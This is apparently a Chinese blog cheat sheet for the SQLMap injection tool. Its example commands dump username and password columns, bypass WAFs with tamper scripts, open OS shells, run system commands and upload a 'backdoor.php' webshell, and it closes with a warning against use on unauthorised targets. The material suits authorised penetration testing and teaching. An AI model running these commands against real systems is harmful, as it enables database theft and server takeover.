SQLMap 自动化 SQL 注入工具

SQLMap 自动化 SQL 注入工具

一、🔍 核心功能与命令选项

(一)基础检测类 🧪

任务分类 命令选项 说明 示例命令
检测注入点 -u <url> 指定目标 URL sqlmap -u "http://x.com/index.php?id=1" --batch
POST 请求注入 --data 提交 POST 数据 sqlmap -u "http://x.com/login.php" --data="user=admin&pass=123"
Cookie 注入 --cookie 携带 Cookie 信息 sqlmap -u "http://x.com" --cookie="PHPSESSID=123"
强制 dbms --dbms=<类型> 强制指定数据库类型 sqlmap -u "...?id=1" --dbms=mysql
绕过 WAF --tamper=<脚本> 使用 Tamper 脚本 sqlmap -u "...?id=1" --tamper=charunicodeencode

(二)数据枚举类 📚

任务分类 命令选项 说明 示例命令
枚举所有数据库 --dbs 列出目标所有数据库 sqlmap -u "...?id=1" --dbs
枚举指定数据库表 -D <db> --tables 列出指定数据库的表 sqlmap -u "...?id=1" -D mydb --tables
枚举字段 -D <db> -T <table> --columns 列出表字段 sqlmap -u "...?id=1" -D mydb -T users --columns
导出字段数据 -D <db> -T <table> -C <cols> --dump 指定字段并导出 sqlmap -u "...?id=1" -D mydb -T users -C username,password --dump
获取数据库用户 --users 获取数据库用户信息 sqlmap -u "...?id=1" --users

(三)高级操作类 🛠️

任务分类 命令选项 说明 示例命令
获取系统 Shell --os-shell 打开 OS Shell(高权限需) sqlmap -u "...?id=1" --os-shell
上传文件 --file-write/--file-dest 上传文件到目标服务器 sqlmap -u "...?id=1" --file-write=backdoor.php --file-dest=/var/www/html/backdoor.php
权限提升 --priv-esc 数据库用户权限提升尝试 sqlmap -u "...?id=1" --priv-esc
执行系统命令 --os-cmd="<命令>" 执行系统命令 sqlmap -u "...?id=1" --os-cmd="whoami"

二、🎯 实用场景命令示例

✅ 基础注入检测

1
2
3
4
5
# 基本 GET 请求注入
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --batch

# POST 表单注入(如登录)
sqlmap -u "http://target.com/login.php" --data="username=admin&password=admin"

📚 数据枚举与导出

1
2
3
4
5
6
7
8
9
10
11
12

# 枚举数据库
sqlmap -u "http://target.com/index.php?id=1" --dbs

# 枚举指定数据库表
sqlmap -u "http://target.com/index.php?id=1" -D testdb --tables

# 枚举表字段
sqlmap -u "http://target.com/index.php?id=1" -D testdb -T users --columns

# 导出字段数据
sqlmap -u "http://target.com/index.php?id=1" -D testdb -T users -C username,password --dump

🧨 高级渗透操作

1
2
3
4
5
# 获取 OS Shell
sqlmap -u "http://target.com/index.php?id=1" --os-shell

# 上传 WebShell
sqlmap -u "http://target.com/index.php?id=1" --file-write=backdoor.php --file-dest=/var/www/html/backdoor.php

三、🎛️ 关键参数与使用技巧

📏 检测控制

参数 说明
--level=1~5 设置检测深度(默认 1),高等级检测更多参数
--risk=1~3 设置风险等级(默认 1),高等级尝试更危险 payload
--random-agent 使用随机 UA,减少被识别为工具概率

🧰 调试与代理支持

参数 功能
--proxy="http://127.0.0.1:8080" 配合 Burp 抓包调试
-v 0~6 日志输出详细程度(如 -v 3 显示 payload)
--flush-session 清除缓存,重新检测

🕳️ 绕过防护技巧

脚本名 说明
apostrophemask 编码单引号绕过
base64encode 对 Payload Base64 编码绕过
space2comment 使用注释代替空格(如:SELECT/**/1

示例:

1
2
3
sqlmap -u "...?id=1" --tamper=base64encode
# 多脚本组合
sqlmap -u "...?id=1" --tamper=between,charunicodeencode

四、📌 常用命令速查表

功能 示例命令
基础检测 sqlmap -u "http://x.com/?id=1"
POST 注入 sqlmap -u "http://x.com/login.php" --data="user=admin&pass=123"
枚举数据库 sqlmap -u "...?id=1" --dbs
枚举表与字段 -D mydb --tables-T users --columns
导出数据 -D db -T table -C col1,col2 --dump
获取系统 Shell --os-shell
绕过 WAF --tamper=base64encode

总结与建议

  • 🔐 切勿在未授权目标上使用 SQLMap!
  • 🔄 推荐使用 --batch 避免交互中断,适合脚本化执行。
  • 🧪 利用 -r 加载 Burp 捕获的请求文件,更真实模拟攻击场景。
  • 📌 常用指令可整理成脚本,提升实战效率。

SQLMap 自动化 SQL 注入工具
https://bae-ace.github.io/2025/07/21/SQLMap-自动化-SQL-注入工具/
作者
bae
发布于
2025年7月21日
许可协议